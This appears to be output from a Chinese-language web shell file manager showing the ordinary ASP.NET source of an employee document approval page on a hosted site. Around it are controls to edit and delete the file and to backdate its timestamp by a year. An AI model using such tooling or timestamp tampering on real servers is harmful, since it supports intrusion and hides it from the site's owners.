文件操作 - EmployeeDocumentApproval.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\EmployeeDocumentApproval.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="EmployeeDocumentApproval.aspx.cs" Inherits="HowellWebService.EmployeeDocumentApproval" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="css/bootstrap.css" rel="stylesheet" /> </head> <body> <form id="form1" runat="server"> <div style="padding-left: 10px;"> <h3>Manage Employee Documents Approval</h3><hr style="width:100%" /> <div> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataKeyNames="ID" DataSourceID="SqlDataSource2" ForeColor="#333333" GridLines="None" Width="467px" OnRowCommand="GridView1_RowCommand"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="ID" HeaderText="ID" InsertVisible="False" ReadOnly="True" SortExpression="ID" /> <asp:BoundField DataField="Type" HeaderText="Type" SortExpression="Type" /> <asp:BoundField DataField="FileName" HeaderText="FileName" SortExpression="FileName" /> <asp:CheckBoxField DataField="Approved" HeaderText="Approved" SortExpression="Approved" /> <asp:CommandField ShowDeleteButton="True" /> <asp:ButtonField Text="Approve" CommandName="Approve"/> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource2" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" DeleteCommand="Delete EmployeeDocuments where ID = @ID" SelectCommand="Select e.ID,T.Name As Type,d.FileName,e.Approved from EmployeeDocuments e inner join Documents d on e.documentID = d.ID inner join DocumentTypes T on e.DocumentTypeID = T.ID where EmpID = @EmpID"> <DeleteParameters> <asp:Parameter Name="ID" /> </DeleteParameters> <SelectParameters> <asp:QueryStringParameter Name="EmpID" QueryStringField="EmpID" /> </SelectParameters> </asp:SqlDataSource> </div> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件